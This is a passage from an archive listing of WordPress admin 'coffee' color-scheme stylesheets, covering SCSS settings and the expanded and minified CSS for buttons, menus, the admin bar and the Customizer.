#c7a589; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-right-color: #c7a589; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #c7a589; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #c7a589; border-style: solid; box-shadow: 0 0 0 1px #c7a589; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #c7a589; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #c7a589; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #c7a589; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(215.4137931034, 191.3793103448, 171.5862068966), 0 0 2px 1px #c7a589; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #c7a589; color: #0073aa; } css/colors/coffee/colors.scss 0000644 00000000341 15233246127 0012265 0 ustar 00 $base-color: #59524c; @use "../_admin.scss" with ( $scheme-name: "coffee", $base-color: $base-color, $highlight-color: #c7a589, $notification-color: #9ea476, $form-checked: $base-color, $low-contrast-theme: "true" ); css/colors/coffee/colors.css 0000644 00000061452 15233246127 0012114 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #59524c; } .wp-core-ui .wp-ui-text-primary { color: #59524c; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #c7a589; } .wp-core-ui .wp-ui-text-highlight { color: #c7a589; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #9ea476; } .wp-core-ui .wp-ui-text-notification { color: #9ea476; } .wp-core-ui .wp-ui-text-icon { color: hsl(27.6923076923, 7%, 95%); } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #59524c; } .view-switch a:hover:before { color: #9ea476; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #59524c; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: hsl(27.6923076923, 7%, 95%); } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #c7a589; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: rgb(69.7436363636, 64.2581818182, 59.5563636364); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(205.2, 203.1, 201.3); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(205.2, 203.1, 201.3); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #c7a589; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #c7a589; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-right-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #c7a589; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #9ea476; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } /* Admin Menu: collapse button */ #collapse-button { color: hsl(27.6923076923, 7%, 95%); } #collapse-button:hover, #collapse-button:focus { color: #c7a589; } /* Admin Bar */ #wpadminbar { color: #fff; background: #59524c; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: hsl(27.6923076923, 7%, 95%); } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #c7a589; background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #c7a589; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #c7a589; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(101.2318636364, 100.2821643357, 99.4681363636); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(205.2, 203.1, 201.3); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: hsl(27.6923076923, 7%, 95%); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #c7a589; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #c7a589; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: hsl(27.6923076923, 7%, 95%); } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: hsl(27.6923076923, 7%, 95%); } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(108.2563636364, 99.7418181818, 92.4436363636); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #9ea476; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(142.2, 147.6, 106.2); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(108.2563636364, 99.7418181818, 92.4436363636); background-color: rgb(108.2563636364, 99.7418181818, 92.4436363636); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #c7a589; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(205.2, 203.1, 201.3); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #c7a589; border-color: rgb(190.7931034483, 151.8103448276, 119.7068965517); } .wp-pointer .wp-pointer-content h3:before { color: #c7a589; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #c7a589; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #c7a589; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #c7a589; } .attachment.details .check { background-color: #c7a589; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #c7a589; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #c7a589; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #c7a589; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #c7a589; } .theme-section.current, .theme-filter.current { border-bottom-color: #59524c; } body.more-filters-opened .more-filters { color: #fff; background-color: #59524c; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #c7a589; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #c7a589; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(215.4137931034, 191.3793103448, 171.5862068966), 0 0 2px 1px #c7a589; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: hsl(27.6923076923, 7%, 95%); } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #c7a589; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: hsl(27.6923076923, 7%, 95%); } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #c7a589; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-left-color: #c7a589; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #c7a589; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-left-color: #c7a589; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(215.4137931034, 191.3793103448, 171.5862068966), 0 0 2px 1px #c7a589; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-left-color: #c7a589; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #c7a589; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #c7a589; border-style: solid; box-shadow: 0 0 0 1px #c7a589; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #c7a589; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #c7a589; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #c7a589; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(215.4137931034, 191.3793103448, 171.5862068966), 0 0 2px 1px #c7a589; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #c7a589; color: #0073aa; } css/colors/coffee/colors.min.css 0000644 00000052674 15233246127 0012704 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui 